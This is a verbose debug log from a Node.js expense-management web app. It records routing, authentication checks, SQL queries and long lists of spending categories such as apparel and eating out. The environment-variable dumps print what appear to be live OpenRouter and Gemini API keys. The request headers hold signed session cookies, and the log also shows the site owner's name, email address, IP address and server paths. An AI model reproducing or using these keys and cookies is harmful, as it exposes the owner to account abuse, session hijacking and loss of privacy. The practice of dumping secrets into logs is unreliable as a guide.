    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '2409:40d4:2421:9851:5539:8f0a:dad4:8a43',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-07T16:30:50.140Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-04-07T16:33:17.890Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-04-07T16:33:17.892Z server-connect:router Serving templateView /house-planner
2026-04-07T16:33:17.892Z server-connect:router Serving serverConnect /api/masters/get-items
2026-04-07T16:33:17.893Z server-connect:app Executing action step identify
2026-04-07T16:33:17.893Z server-connect:app options: { provider: 'security' }
2026-04-07T16:33:17.893Z server-connect:output identity: 1
2026-04-07T16:33:17.893Z server-connect:app Executing action step restrict
2026-04-07T16:33:17.893Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:33:17.893Z server-connect:app Executing action step identify
2026-04-07T16:33:17.893Z server-connect:app options: { provider: 'security' }
2026-04-07T16:33:17.893Z server-connect:output identity: 1
2026-04-07T16:33:17.893Z server-connect:app Executing action step restrict
2026-04-07T16:33:17.893Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:33:17.894Z server-connect:app Executing action step identify
2026-04-07T16:33:17.894Z server-connect:app options: { provider: 'security' }
2026-04-07T16:33:17.894Z server-connect:output identity: 1
2026-04-07T16:33:17.894Z server-connect:app Executing action step restrict
2026-04-07T16:33:17.894Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:33:17.896Z server-connect:output restrict: undefined
2026-04-07T16:33:17.896Z server-connect:app Executing action step single
2026-04-07T16:33:17.896Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-04-07T16:33:17.897Z server-connect:output restrict: undefined
2026-04-07T16:33:17.897Z server-connect:router Render template layouts/main
2026-04-07T16:33:17.897Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '2409:40d4:2421:9851:5539:8f0a:dad4:8a43',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2409:40d4:2421:9851:5539:8f0a:dad4:8a43',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '2409:40d4:2421:9851:5539:8f0a:dad4:8a43',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/house-planner'
}
2026-04-07T16:33:17.902Z server-connect:output restrict: undefined
2026-04-07T16:33:17.902Z server-connect:app Executing action step select
2026-04-07T16:33:17.902Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-04-07T16:33:17.902Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-04-07T16:33:17.908Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-04-07T18:02:54.323Z server-connect:router Serving templateView /
2026-04-07T18:02:54.323Z server-connect:app Executing action step identify
2026-04-07T18:02:54.324Z server-connect:app options: { provider: 'security' }
2026-04-07T18:02:54.324Z server-connect:auth No login cookie found
2026-04-07T18:02:54.324Z server-connect:output identity: false
2026-04-07T18:02:54.324Z server-connect:app Executing action step restrict
2026-04-07T18:02:54.324Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T18:02:54.325Z server-connect:output restrict: undefined
2026-04-07T18:02:54.502Z server-connect:router Serving templateView /login
2026-04-07T18:02:54.502Z server-connect:app Executing action step identify
2026-04-07T18:02:54.502Z server-connect:app options: { provider: 'security' }
2026-04-07T18:02:54.502Z server-connect:auth No login cookie found
2026-04-07T18:02:54.502Z server-connect:output identity: false
2026-04-07T18:02:54.502Z server-connect:router Render template layouts/authentication
2026-04-07T18:02:54.502Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
